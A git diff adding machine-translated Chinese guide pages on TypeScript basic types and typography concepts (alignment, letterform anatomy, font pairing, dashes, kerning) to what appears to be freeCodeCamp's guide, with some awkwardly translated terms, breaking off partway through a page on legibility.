+### 安装TSLint
+
+此命令将使用流行的包管理器`npm`全局安装`TSLint`包。
+
+```bash
+npm i -g tslint 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/typescript/never-type/index.md b/client/src/guide/chinese/typescript/never-type/index.md
new file mode 100644
index 0000000000..f6dce40cb6
--- /dev/null
+++ b/client/src/guide/chinese/typescript/never-type/index.md
@@ -0,0 +1,28 @@
+---
+title: Never Type
+localeTitle: 从不打字
+---
+# 从不打字
+
+`never`类型表示从未发生的值的类型。例如， `never`函数表达式或箭头函数表达式的返回类型，它总是抛出异常或永不返回的异常;变量也会获得`never`被`any`类型的守卫缩小的类型。
+
+`never`类型是每种类型的子类型，并且可分配给每种类型;但是，没有类型是`never`的子类型或可分配的（从不自己除外）。甚至任何都不可分配给永远。
+
+```typescript
+// Function returning never must have unreachable end point 
+ function error(message: string): never { 
+    throw new Error(message); 
+ } 
+ 
+ // Inferred return type is never 
+ function fail() { 
+    return error("Something failed"); 
+ } 
+ 
+ // Function returning never must have unreachable end point 
+ function infiniteLoop(): never { 
+    while (true) { 
+    } 
+ } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/typescript/null-type/index.md b/client/src/guide/chinese/typescript/null-type/index.md
new file mode 100644
index 0000000000..f3bd133e0c
--- /dev/null
+++ b/client/src/guide/chinese/typescript/null-type/index.md
@@ -0,0 +1,21 @@
+---
+title: Null Type
+localeTitle: 空类型
+---
+## 空类型
+
+在TypeScript中，null类型的值为null。 Null是每种类型的有效值。
+
+```ts
+let u: null = null; 
+```
+
+使用--strictNullChecks标志时，null只能分配给void及其类型。
+
+```ts
+let s = "foo"; 
+ s = null; // error, 'null' is not assignable to 'string' 
+ let sn: string | null = "bar"; 
+ sn = null; // ok 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/typescript/number-type/index.md b/client/src/guide/chinese/typescript/number-type/index.md
new file mode 100644
index 0000000000..e7a129b352
--- /dev/null
+++ b/client/src/guide/chinese/typescript/number-type/index.md
@@ -0,0 +1,15 @@
+---
+title: Number Type
+localeTitle: 数字类型
+---
+# 数字类型
+
+TypeScript中的所有数字都是浮点值。 TypeScript支持ES6中的二进制和八进制文字值。
+
+```typescript
+let decimal: number = 7; 
+ let hex: number = 0xf00d; 
+ let binary: number = 0b0110; 
+ let octal: number = 0o531; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/typescript/string-type/index.md b/client/src/guide/chinese/typescript/string-type/index.md
new file mode 100644
index 0000000000..1fc39954cb
--- /dev/null
+++ b/client/src/guide/chinese/typescript/string-type/index.md
@@ -0,0 +1,56 @@
+---
+title: String Type
+localeTitle: 字符串类型
+---
+# 字符串类型
+
+字符串可以用`''`单引号或`""`双引号书写。 与您的代码保持一致并选择一种风格。
+
+```typescript
+let dog: string = 'Fido'; 
+ let activity: string = "Playing Outside"; 
+```
+
+可以使用模板文字来编写字符串：
+
+```typescript
+let greeting: string = `Hello, ${firstName} ${lastName}, thank you for attending the ${eventName} event.`; 
+```
+
+## 内置方法
+
+在Typescript的类型中，您可以使用一些内置函数。每种类型都有共同和独特的方法。 您可以在下面阅读有关字符串类型方法中最常用的方法。
+
+### 拆分（'分隔符'，限制）
+
+使用split函数，您可以在指定的分隔符处拆分字符串。您可以设置限制数，即可以说有多少拆分。 splitted字符串以数组类型返回。
+
+```typescript
+let names: string = 'Sarah,Lily,John,Paula,Harvey'; 
+ let array: string[] = names.split(','); 
+ //array = ['Sarah','Lily','John','Paula','Harvey'] 
+ let array2: string[] = names.split(',',2); 
+ //array2 = ['Sarah','Lily'] 
+```
+
+### SUBSTR（startAt，长度）
+
+此方法返回一个子字符串，该子字符串以原始字符串的`startAt`字符`startAt` ，其长度为`length` 。
+
+```typescript
+let names: string = 'Harvey Specter'; 
+ let substr: string = names.substr(3,10); 
+ //substr = 'rvey Spect' 
+```
+
+### 子（startAt，ENDAT）
+
+此方法类似于substr（），但具有不同的参数。第二个参数也是关于原始字符串的索引，而不是长度编号。
+
+```typescript
+let names: string = 'Harvey Specter'; 
+ let substring: string = names.substring(3,10); 
+ //substring = 'rvey Spe' 
+```
+
+[TutorialsPoint提供了更多方法和说明](https://www.tutorialspoint.com/typescript/typescript_strings.htm)
\ No newline at end of file
diff --git a/client/src/guide/chinese/typescript/tuple-type/index.md b/client/src/guide/chinese/typescript/tuple-type/index.md
new file mode 100644
index 0000000000..1d75a4bcd5
--- /dev/null
+++ b/client/src/guide/chinese/typescript/tuple-type/index.md
@@ -0,0 +1,71 @@
+---
+title: Tuple Type
+localeTitle: 元组类型
+---
+# 元组类型
+
+表示一个数组，其中已知固定数量的类型元素，但不一样。
+
+```typescript
+let arr: [string, number]; 
+ 
+ // This is correct 
+ arr = ['Hello', 7]; 
+ 
+ //This is incorrect 
+ arr = [7, 'Hello']; 
+```
+
+访问已知索引之外的元素时，它将使用联合类型：
+
+```typescript
+arr[3] = 'World!' 
+ // OK, 'string' can be assigned to 'string | number' 
+ 
+ // Error, 'boolean' is not a 'string | number' 
+ arr[5] = false; 
+ // Error, 'boolean' is not a 'string | number' 
+```
+
+## 属性
+
+在Typescript的类型中，您可以拥有一些buit-in属性。例如长度或其他每种类型的独特。
+
+### 长度
+
+这个属性说，有多少元素有它的元素。
+
+```typescript
+let tuple = []; //you can initialize it after the declaration too, not just the method above 
+ tuple[0] = 10; 
+ tuple[1] = 'Mike'; 
+ let number = tuple.length; 
+ //number = 2; 
+```
+
+## 内置方法
+
+在Typescript的类型中，您可以使用一些内置函数。每种类型都有共同和独特的方法。 下面你可以阅读有关元组类型方法中最常用的方法。
+
+### 流行（）
+
+从元组中删除最后一个元素。
+
+```typescript
+var tuple = [10,'Emma',11,'Lily',12,'Mike Ross']; 
+ tuple.pop(); 
+ //tuple = [10,'Emma',11,'Lily',12,] 
+ //We popped 'Mike Ross' from the tuple 
+```
+
+### 推（）
+
+将元素添加到元组的末尾。
+
+```typescript
+var tuple = [10,'Emma',11,'Lily',12,'Mike Ross']; 
+ tuple.push('Rachel Zane'); 
+ //tuple = [10,'Emma',11,'Lily',12,'Mike Ross','Rachel Zane'] 
+```
+
+[有关TutorialsPoint上的元组的更多信息](https://www.tutorialspoint.com/typescript/typescript_tuples.htm)
\ No newline at end of file
diff --git a/client/src/guide/chinese/typescript/undefined-type/index.md b/client/src/guide/chinese/typescript/undefined-type/index.md
new file mode 100644
index 0000000000..5a2e44e356
--- /dev/null
+++ b/client/src/guide/chinese/typescript/undefined-type/index.md
@@ -0,0 +1,35 @@
+---
+title: Undefined Type
+localeTitle: 未定义的类型
+---
+## 未定义的类型
+
+在TypeScript中，与null类型相同，未定义类型的值为undefined。未定义是每种类型的有效值。
+
+```ts
+let u: undefined = undefined; 
+```
+
+使用`--strictNullChecks`标志时，undefined只能分配给void及其类型。
+
+```ts
+let s = "foo"; 
+ s = null; // error, 'null' is not assignable to 'string' 
+ let sn: string | null = "bar"; 
+ sn = null; // ok 
+ 
+ sn = undefined; // error, 'undefined' is not assignable to 'string | null' 
+```
+
+使用`--strictNullChecks` ，可选参数自动添加`| undefined` ：
+
+```ts
+function f(x: number, y?: number) { 
+    return x + (y || 0); 
+ } 
+ f(1, 2); 
+ f(1); 
+ f(1, undefined); 
+ f(1, null); // error, 'null' is not assignable to 'number | undefined' 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/typescript/void-type/index.md b/client/src/guide/chinese/typescript/void-type/index.md
new file mode 100644
index 0000000000..c84c78edd7
--- /dev/null
+++ b/client/src/guide/chinese/typescript/void-type/index.md
@@ -0,0 +1,15 @@
+---
+title: Void Type
+localeTitle: 空洞类型
+---
+# 空洞类型
+
+不应该用于变量，使用`null`或`undefined` 。  
+但是，将它用于不返回值的函数。
+
+```typescript
+const greeting(): void { 
+    alert('Hello, and Welcome to My Webpage!'); 
+ } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/typography/alignment/index.md b/client/src/guide/chinese/typography/alignment/index.md
new file mode 100644
index 0000000000..ba5f1ac46e
--- /dev/null
+++ b/client/src/guide/chinese/typography/alignment/index.md
@@ -0,0 +1,68 @@
+---
+title: Alignment
+localeTitle: 对准
+---
+## 对准
+
+排版对齐会更改文档中的文本流。设计师可以使用这个功能强大的工具，通过提供视觉形式和上下文来巧妙地增强文本的呈现。
+
+尝试对齐以找到令人兴奋的新视觉组合，使您的内容脱颖而出。请务必测试不同设备和浏览器上的对齐错误。
+
+尽可能使用CSS来对齐文本。您可能会遇到HTML对齐标记（例如， `<p align="right"></p>`或`<center></center>` ），但它们在HTML 5中已弃用。
+
+### 左对齐文本
+
+默认， `text-align: left;`
+
+如有疑问，默认的文本对齐通常是最佳选择。特别是对于文章或长文本块，左对齐文本最容易阅读，因为右边的参差不齐的边缘提供了视觉上下文，以帮助读者保持他们的位置，因为他们的眼睛从一行到另一行。
+
+用来：
+
+*   主体
+*   绝大部分都是
+
+### 右对齐文本
+
+`text-align: right;`
+
+右对齐，左边粗糙的文本可以作为视觉香料使用，但是在长期阅读中比左对齐文本更难阅读。
+
+可用于：
+
+*   标题
+*   导航
+*   侧边栏
+*   语录
+
+### 居中文本
+
+`text-align: center;`
+
+使用居中的文本将读者的眼睛拉到重点（例如，标题，页面标题，页脚）。不要将居中文本用于长文本块，因为阅读非常耗费精力。
+
+可用于：
+
+*   标题
+*   页面标题
+*   导航
+*   侧边栏
+*   标题
+*   语录
+*   页脚
+
+### 正当的文本
+
+`text-align: justify;`
+
+对于正文来说，完全对齐的文本很难推荐，因为某些行中的单词之间可能会出现大的间隙。然而，熟练的设计师可以很好地利用它。
+
+可用于：
+
+*   标题
+*   图片的标题说明
+
+#### 更多信息：
+
+*   [维基百科文章](https://en.wikipedia.org/wiki/Typographic_alignment)
+*   [网页风格指南](https://webstyleguide.com/wsg2/type/align.html)
+*   [Web上的文本对齐方式](http://www.webpagemistakes.ca/text-alignment-on-the-web/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/typography/anatomy-of-letterforms/index.md b/client/src/guide/chinese/typography/anatomy-of-letterforms/index.md
new file mode 100644
index 0000000000..ab90aee414
--- /dev/null
+++ b/client/src/guide/chinese/typography/anatomy-of-letterforms/index.md
@@ -0,0 +1,132 @@
+---
+title: Anatomy of Letterforms
+localeTitle: 字体解剖
+---
+## 字体解剖
+
+Letterforms的解剖结构描述了构成字体印刷字母的不同元素。下图显示了字体中字母的不同部分。
+
+![替代文字](https://upload.wikimedia.org/wikipedia/commons/a/a3/Typographia.svg)
+
+> 字形的一部分：1）x高度; 2）上升线; 3）顶点; 4）基线; 5）上升; 6）横杆; 7）干; 8）衬线; 9）腿; 10）碗; 11）柜台; 12）衣领; 13）循环; 14）耳朵; 15）领带; 16）横条; 17）手臂; 18）垂直条; 19）帽高; 20）下行线。
+
+字体广泛地由3个不同的部分组成1） **笔划** 2） **终端** 3） **空间**
+
+#### 笔画
+
+笔划是指字母的主体。它们可以是直的，如_l_ ， _z_ ， _k_ ， _v_等字母或_c_或_o中的_曲线。中风的不同部分如下
+
+*   大多数角色所在的虚线称为**基线** （4）。
+    
+*   **capheight**或**capline** （19）是描绘所有大写字母的高度的另一个虚线。
+    
+*   标记小写字母顶边的假想水平线是**Meanline** 。
+    
+*   **x高度** （1）是小写x的高度。换句话说，它是基线和平均线之间的距离。
+    
+*   字母形式中的主垂直或对角线笔划称为**Stem** （7）。
+    
+*   连接_A_和_H_的大写字母中的两条线或_t中的_交叉笔划的笔划称为**Crossbar** （6）。
+    
+*   当小写字母的笔划高于平均线时，如_l，_它被称为**上升** （5）。 **Ascender线** （2）是描绘基线和上升器顶部之间距离的虚线。
+    
+*   当小写字母的笔划像_g_一样低于基线时，它被称为**下降器** 。 **Descender线** （20）是描绘基线和下降器底部之间距离的假想线。
+    
+*   在_R_的顶部的拱形行程称为**肩部**或有时仅仅是_拱形_ ，如_h_ ， _n_ ， _m_ 。
+    
+*   闭合的弯曲行程称为**碗** （10）。
+    
+*   在_K_和_R中_看到的下对角线划线称为**腿** （9）。
+    
+*   在_e_ ， _f_的中心和_E_和_F_的中间行程中看到的短水平行程称为**Bar** 。
+    
+*   如_E_和_F_所示，顶部或底部的较长水平行程称为**臂** （17）。
+    
+*   小写字母_j_和_i_上方的点称为**Tittle**或点或小写字母。
+    
+*   两层_g_的底部称为**Loop** （13）。
+    
+
+#### 码头
+
+终端是笔画的结束。它们有**Serif**和**Sans-Serif**两种类型。一个带有锯齿状的端子在边缘上具有凹凸，可以描述为楔形，球状，泪珠状，平板状等。另一方面，Sans-Serif在笔划结束时没有这些延伸特征。 Sans-Serif现在常用于数字显示器，因为它们在较低分辨率的显示器上具有更好的易读性，其中衬线很难显示。
+
+#### 空间
+
+空格是指在字母之间找到的空白区域，也是在带有闭环的_o_和_p_字母内部。
+
+以下是一些基本定义，可帮助您了解如何描述和测量类型。
+
+## 字体
+
+字体是指一组字符，例如字母，数字和标点符号，它们具有共同的设计或风格。 Times New Roman，Arial，Helvetica和Courier都是字体。
+
+## 字形
+
+字体指的是显示或显示字体的方式。可移动类型的Helvetica是一种字体，TrueType字体文件也是如此。
+
+![排版剖析](https://designschool.canva.com/wp-content/uploads/sites/2/2015/07/typography-terms-infographic-tb-1324x0.png)
+
+## 键入家庭
+
+字体中可用的不同选项构成一个类型系列。许多字体至少可以罗马，粗体和斜体显示。其他家族规模要大得多，例如Helvetica Neue，其中包括Condensed Bold，Condensed Black，UltraLight，UltraLight Italic，Light，Light Italic，Regular等选项。
+
+## 衬线字体
+
+Serif字体可以通过角色的各种笔划末端的小线来识别。由于这些线条通过引导眼睛从字母到字母以及逐字逐句地使字体更容易阅读，因此衬线字体通常用于大块文本，例如在书中。 Times New Roman是一个常见的衬线字体的例子。
+
+## Sans Serif字体
+
+衬线是字符笔划末尾的小线条。无衬线字体或无衬线字体是指没有这些线条的字体。当需要大字体时，例如在杂志标题中，经常使用无衬线字体。 Helvetica是一种流行的无衬线字体。无衬线字体对于网站文本也很常见，因为它们可以更容易在屏幕上阅读。 Arial是一种无衬线字体，专为屏幕使用而设计。
+
+## 点大小
+
+该点用于测量字体的大小。一点等于1/72英寸。当一个字符被称为12pt时，正在描述文本块的整个高度（例如可移动类型的块），而不仅仅是字符本身。因此，基于块中字符的位置以及字符填充的块的大小，相同点大小的两个字体可能显示为不同的大小。
+
+## 异食癖
+
+异食癖通常用于测量文本行。一个异食癖等于12个点，六个皮卡等于1英寸。
+
+## 底线
+
+基线是角色所在的不可见线。虽然基线可能因字体与字体不同而在字体内是一致的。诸如“e”的圆形字母将略微延伸到基线以下。
+
+## X-高度
+
+x高度是平均线和基线之间的距离。它被称为x高度，因为它是小写“x”的高度。字体之间的高度差异很大。
+
+## 跟踪，字距和字母间距
+
+字符之间的距离由跟踪，字距调整和字母间距控制。调整跟踪以在一个文本块中一致地更改字符之间的间距。这可用于增加整个杂志文章的易读性。字距调整是减少字符之间的空间，而字母间距则是字符间空格的增加。这些较小的精确调整可用于调整特定单词，例如徽标设计或报纸中的大型标题。可以对所有设置进行实验以创建艺术文本效果。
+
+## 领导
+
+前导是指文本行之间的距离。以点为单位测量的该距离是从一个基线到下一个基线测量的。一块文本可以被称为12pt，具有6pts的额外前导，也称为12/18。这意味着在总高度的18分上有12pt类型（12加上额外领先的6分）。
+
+基线：大多数字母所依赖的假想水平线。
+
+上限：假想的水平线，标记所有大写字母在最高点结束。
+
+交叉开关：连接字母中其他两行（如“A”或“H”）的水平线。
+
+计数器：字母内部的负空格。计数器可以完全封闭，如字母“O”或“A”，或部分封闭，如字母“C”或“U”。
+
+下行器：假想的水平线，标记特殊的较低级字母的最低点，如“g”，“j”，“p”，“q”和“y”。
+
+腿：以“K”，“R”和“Q”等字母表示的较低角度的笔划。
+
+平均线：标记小写字母顶点的假想水平线。
+
+衬线：文本末尾的完成笔划，创造“脚”外观。
+
+词干：字母中的主要垂直笔划。这也可以是字母“W”或“N”的对角线。
+
+Tittle：小写字母上方的点，如“i”和“j”。
+
+字母形式广泛地指字母形状并包括排版。排版是印刷字母的外观。为了理解排版需要一定的词汇量。通过学习排版术语，您还可以成为印刷类型的更重要的观察者。
+
+#### 更多信息：
+
+*   [维基百科](https://en.wikipedia.org/wiki/Typeface_anatomy)
+*   [Sitepoint](https://www.sitepoint.com/the-anatomy-of-a-letterform/)
+*   [Typomil](http://typomil.com/anatomy/index.html)
\ No newline at end of file
diff --git a/client/src/guide/chinese/typography/choosing-a-typeface/index.md b/client/src/guide/chinese/typography/choosing-a-typeface/index.md
new file mode 100644
index 0000000000..c5431c065e
--- /dev/null
+++ b/client/src/guide/chinese/typography/choosing-a-typeface/index.md
@@ -0,0 +1,52 @@
+---
+title: Choosing a Typeface
+localeTitle: 选择字体
+---
+## 选择字体
+
+表格遵循功能：从一般原则开始工作，不要随意选择字体。
+
+### 当你无法选择时
+
+如果选择不同的字体是不可能的，您通常可以通过调整字体大小，权重和样式来为项目添加视觉效果。此外，在放弃选择其他字体之前，尝试一些不同的字体总是更好的尝试命中和未命中策略。这样，也许你不会得到你想要的字体，但你会知道在其他情况下你可以使用的各种其他字体。
+
+### 什么时候可以
+
+#### 适当的申请
+
+你不想以一种糟糕的方式脱颖而出。项目的需求通常会限制您的创意选择：公司品牌指导，下载和呈现时间，操作系统默认值，可访问性，浏览器支持等。
+
+搜索像您这样的项目的真实示例，以了解典型的字体或样式。设计师通过多年的测试和仔细考虑磨练了这些规范。
+
+#### 一起工作
+
+仔细选择对比字体（例如，Minion和Myriad）和重量（例如，粗体和常规）。避免使用太多或太相似的字体。单个页面上的三个以上字体应该让您暂停 - 通常内容对于单个页面来说太复杂或者设计不具有粘性。
+
+学习最常见的字体类型（几何Sans，Humanist Sans，Oldstyle，Transitional和Modern，Slab Serifs） 1以及它们如何相互作用，您将能够更加熟练地操作多种字体。
+
+#### 打破常规
+
+最后，指南只能带你到目前为止。创造力和惊喜是设计工作的重要组成部分。尽管你注意标准和惯例，但要注意异常值。研究他们如何以及为什么违反规则来通知你自己的破坏规则。
+
+## 快速选择字体的提示
+
+*   规划您的层次结构
+*   考虑一下其他人已经完成的事情
+*   尝试简单的方法
+*   避免过时
+*   避免Trite Correlations
+*   考虑扩展类型系列
+*   坚持经典组合
+*   使用有限的调色板
+
+#### 来源
+
+1.  Dan Meyer， [我应该使用什么字体？ 5选择和使用字体的原则](https://www.smashingmagazine.com/2010/12/what-font-should-i-use-five-principles-for-choosing-and-using-typefaces/) ，smashingmagazine.com，2010。
+
+#### 更多信息：
+
+[20完美类型配对](http://www.creativebloq.com/typography/20-perfect-type-pairings-3132120) [选择正确的字体 - 一篇简明的文章供参考](https://webdesign.tutsplus.com/articles/choosing-the-right-font-a-practical-guide-to-typography-on-the-web--webdesign-15?_ga=2.210603089.55465761.1538586153-769794395.1538586153)
+
+#### 更多信息：
+
+*   [Smashing Magazine文章 - 如何选择字体](https://www.smashingmagazine.com/2011/03/how-to-choose-a-typeface/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/typography/color-and-tonal-value/index.md b/client/src/guide/chinese/typography/color-and-tonal-value/index.md
new file mode 100644
index 0000000000..6460797c8a
--- /dev/null
+++ b/client/src/guide/chinese/typography/color-and-tonal-value/index.md
@@ -0,0 +1,21 @@
+---
+title: Color and Tonal Value
+localeTitle: 颜色和色调值
+---
+## 颜色和色调值
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/typography/color-and-tonal-value/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
+
+在颜色理论中，通过将白色，灰色或黑色添加到所选颜色来产生色调值。这不会改变色调，但会改变色彩，也称为饱和度。在讨论色调值时，必须讨论三个主要术语：Tint，Tone和Shade。
+
+色调是一种颜色的白色。色调可用于突出显示区域以及开始在对象上创建深度错觉。
+
+色调是一种颜色的灰色。色调颜色产生更柔和和更少饱和的颜色。
+
+阴影是黑色添加到一种颜色。阴影可用于变暗和区域以在对象上创建深度错觉。
+
+通过改变颜色色调值，您可以在图像中创建深度幻觉，并改变饱和度，以更好地为所需的情绪或情绪应用颜色。
\ No newline at end of file
diff --git a/client/src/guide/chinese/typography/color-and-value/index.md b/client/src/guide/chinese/typography/color-and-value/index.md
new file mode 100644
index 0000000000..86798fbf4d
--- /dev/null
+++ b/client/src/guide/chinese/typography/color-and-value/index.md
@@ -0,0 +1,29 @@
+---
+title: Color and Value
+localeTitle: 颜色和价值
+---
+## 颜色和价值
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/typography/color-and-value/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+价值是指亮度和黑暗的元素。在这里你可以添加浅色或深色颜料来产生不同的色调。
+
+色调是添加黑色或白色颜料的术语，将导致所述颜色的阴影。
+
+颜色是指在给定物体或图像上反射光刺激眼睛的颜色。
+
+颜色是的元素
+
+#### 更多信息：
+
+当通过书面文本讨论诸如“颜色”和“价值”的视觉概念时，可能会发生一些误解。首先，颜色应该是各种色调，如红色，橙色，黄色，绿色，蓝色，紫色，以及它们的任何共同作用。一些最基本的色轮显示这6种颜色。色轮可以迅速变得更加复杂。色轮可以显示各种组合，例如紫色，更多的是红色调或蓝色色调，而不是呈现紫色的一种颜色（色调）。色轮可以设计用于多种用途。各种颜色的选择和放置可以帮助艺术家和设计师以不同的方式查看颜色，反过来，可以进行更明智的颜色选择。色彩可以成为影响观众情感的有力工具，因此学习如何在不同的色调标签之外说话和观看色彩非常重要。
+
+价值是颜色的亮度或暗度。当选择颜色（例如红色）时，可以通过添加黑色或白色来改变色调。通过将浅色定位在暗色旁边可以产生对比度。人眼自然会被对比。学习如何使用价值来创造对比度是一种重要的技能，可以直接或间接地吸引观众关注页面上的某个区域。
+
+Denman Ross创造了一个九步值范围，范围从1 - 白色到9 - 黑色。罗斯量表如下：
+
+1 - 白色 2 - 高光 3 - 光 4 - 低光照 5 - 中间值（原始色调） 6 - 高黑 7 - 黑暗 8 - 低暗 9 - 黑色
+
+在选择颜色时，要注意通过创建对比来引导观看者注意力的价值。
\ No newline at end of file
diff --git a/client/src/guide/chinese/typography/column-width-and-leading/index.md b/client/src/guide/chinese/typography/column-width-and-leading/index.md
new file mode 100644
index 0000000000..52b28cb3b5
--- /dev/null
+++ b/client/src/guide/chinese/typography/column-width-and-leading/index.md
@@ -0,0 +1,11 @@
+---
+title: Column Width and Leading
+localeTitle: 列宽和前导
+---
+## 列宽和前导
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/typography/column-width-and-leading/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/typography/combining-typefaces/index.md b/client/src/guide/chinese/typography/combining-typefaces/index.md
new file mode 100644
index 0000000000..33bb54a8ad
--- /dev/null
+++ b/client/src/guide/chinese/typography/combining-typefaces/index.md
@@ -0,0 +1,41 @@
+---
+title: Combining Typefaces
+localeTitle: 结合字体
+---
+## 结合字体
+
+#### 字体配对基础知识
+
+哪些字体看起来很好，哪些不兼容？如果你曾经在努力解决这个问题，那么你并不孤单。通过熟悉这些聪明的组合，了解如何配置不同的字体和样式！
+
+#### 逐个尝试这些步骤
+
+*   将常规和粗体字体配对以创建微妙的对比度
+*   使用粗体字体平衡脚本字体
+*   配对高大和短的字体以创建视觉兴趣
+*   将不同重量的字体配对以创建强烈的对比度
+*   配对常规和斜体字体以创建重点
+
+选择字体没有硬性和快速的规则，但您通常可以通过设置现有字体样式来创建可视层次结构来避免选择新字体。如有疑问，请保持简单。
+
+设计师遵循不同的理念来确定何时以及如何组合字体。
+
+### 锚1或角色字体
+
+如果您的项目涉及大量文本，请选择正文文本的锚点字体。当您针对锚点对字体的不同组合进行连续测试和细化时，此锚点字体将指导您的其余设计选择。
+
+### 对比字体
+
+对于文本灯项目，对字体具有明确的分层角色并不像视觉影响那么重要。配对对比字体，如serif和sans-serif。设计师经常分享他们喜欢的字体对，所以搜索和实验，直到你创造一个令人愉快的结果。
+
+### 字体家庭
+
+许多类型的代工厂创建具有多种重量和外壳，装饰性字形，衬线和无衬线版本等广泛额外功能的字体。您可以使用这样的单一类型系列来确保一致的设计，同时创造性地使用这些额外的功能来提供额外的重点或装饰，否则可能需要另一种字体。字体系列通常是视觉一致性和排版灵活性的重大折衷。
+
+#### 来源
+
+1.  Tim Brown， [组合字体：袖珍指南](https://blog.typekit.com/2016/04/29/combining-typefaces-free-guide-to-great-typography/) ，PDF。
+
+#### 更多信息：
+
+*   Shaun Pagin， [混合字体艺术Google字体版](http://www.fastprint.co.uk/blog/the-art-of-mixing-typefaces.html) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/typography/ems-and-ens/index.md b/client/src/guide/chinese/typography/ems-and-ens/index.md
new file mode 100644
index 0000000000..09990ef6d5
--- /dev/null
+++ b/client/src/guide/chinese/typography/ems-and-ens/index.md
@@ -0,0 +1,31 @@
+---
+title: Ems and Ens
+localeTitle: Ems和Ens
+---
+## Ems和Ens
+
+Ems和Ens是标点符号“dash”的一种形式。虽然外观与连字符相似，但它们用于不同的目的。
+
+### Em Dash
+
+使用Em破折号表示句子中的中断。将其替换为逗号或表示句子中的暂停。它们还用于将引用归因于发言者。 Em dash是一个宽度 - 字体点大小的宽度。在破折号之前和之后不要放任何空格。 例如：来自邻居家的噪音 - 它杀了我。
+
+*   Mac上的Em破折号命令：Shift-Option-Hyphen
+*   Microsoft Word上的Em破折号命令：Alt + Ctrl +（减号）
+*   用HTML `&mdash;` ： `&mdash;`或`&#8212;`
+
+### 恩达什
+
+使用En短划线代替单词“to”或表示一系列数字。 En破折号是Em破折号的一半宽度。在短划线之前和之后不要放置任何空格。 例如：第一次世界大战持续了1914-1918。
+
+*   在Mac上使用En破折号的命令：Option-Hyphen
+*   Microsoft Word上的En破折号命令：Ctrl +（减号）
+*   用HTML表示： `&ndash;`或`&#8211;`
+
+#### 更多信息：
+
+短跑 - [维基百科](https://en.wikipedia.org/wiki/Dash#Em_dash)
+
+用Ellen Lupton的[类型思考](http://thinkingwithtype.com) - [用类型思考](http://thinkingwithtype.com)
+
+Modularscale - [http://www.modularscale.com/](http://www.modularscale.com/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/typography/font-weight-and-style/index.md b/client/src/guide/chinese/typography/font-weight-and-style/index.md
new file mode 100644
index 0000000000..024e6b9f69
--- /dev/null
+++ b/client/src/guide/chinese/typography/font-weight-and-style/index.md
@@ -0,0 +1,30 @@
+---
+title: Font Weight and Style
+localeTitle: 字体重量和样式
+---
+## 字体重量和样式
+
+字体粗细可以写为文本值：
+```
+font-weight: normal; 
+ font-weight: bold; 
+```
+
+或者作为`100`到`900`的数值（以100的倍数表示）：
+```
+font-weight: 400;  /* equal to 'normal' above */ 
+ font-weight: 700; /* equal to 'bold' above */ 
+```
+
+数值及其共同描述
+
+|价值|共同描述| | ----- | ---------------------------- | | 100 |薄（发际线）| | 200 |超轻（超轻）| | 300 |光| | 400 |正常| | 500 |中| | 600 |半大胆（Demi Bold）| | 700 |大胆| | 800 |额外大胆（超大胆）| | 900 |黑色（重）|
+
+并非所有字体都可以使用所有权重。某些专用字体可能仅在一个重量（通常为`normal` `400` ）中可用。
+
+也可以相对于元素的父元素指定字体粗细（如果字体具有多个权重）：
+```
+font-weight: lighter; 
+ font-weight: bolder; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/typography/index.md b/client/src/guide/chinese/typography/index.md
new file mode 100644
index 0000000000..0b403df4f1
--- /dev/null
+++ b/client/src/guide/chinese/typography/index.md
@@ -0,0 +1,11 @@
+---
+title: Typography
+localeTitle: 活版印刷
+---
+## 活版印刷
+
+排版是一个处理书面文字以及如何呈现字母和字符的字段。
+
+可以用不同的方式设计相同的字母以传达不同的情感。在风格与可读性方面存在各种权衡。
+
+在本节中，我们将提供各种排版概念的指南。
\ No newline at end of file
diff --git a/client/src/guide/chinese/typography/kerning-and-tracking/index.md b/client/src/guide/chinese/typography/kerning-and-tracking/index.md
new file mode 100644
index 0000000000..5dfcecb81a
--- /dev/null
+++ b/client/src/guide/chinese/typography/kerning-and-tracking/index.md
@@ -0,0 +1,17 @@
+---
+title: Kerning and Tracking
+localeTitle: 字距调整和跟踪
+---
+## 字距调整和跟踪
+
+字距调整是指单词中两个单独字符之间的间距。
+
+跟踪是指单词之间的间距。
+
+某些字体不是设计为过于松散地被剪切或跟踪，反之亦然。如果一个人过于紧张或过于松散，他们就有可能牺牲可读性和易读性。
+
+在确定克朗或跟踪文本的紧密程度或松散程度时，建议首先考虑文本与之交互的比例。如果要打印，观众应该离打印文本有多远？他们会开车吗？它会在背光屏幕上阅读吗？
+
+在跟踪和字距调整时，还应考虑正面和负面的基础。跟踪太紧或太松散会导致图形/地面关系笨拙，从而分散用户的注意力。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/typography/legibility-and-readability/index.md b/client/src/guide/chinese/typography/legibility-and-readability/index.md
new file mode 100644
index 0000000000..db624162ab
--- /dev/null
+++ b/client/src/guide/chinese/typography/legibility-and-readability/index.md
@@ -0,0 +1,41 @@
+---
+title: Legibility and Readability
+localeTitle: 易读性和可读性
+---
+## 易读性和可读性
+
+### 易读性
+
+**易读性**意味着能够区分文本中的不同字符。易读的文字意味着它可以很容易地解释。 考虑易读性时，请考虑字体的独特特征。一些考虑因素如下：
+
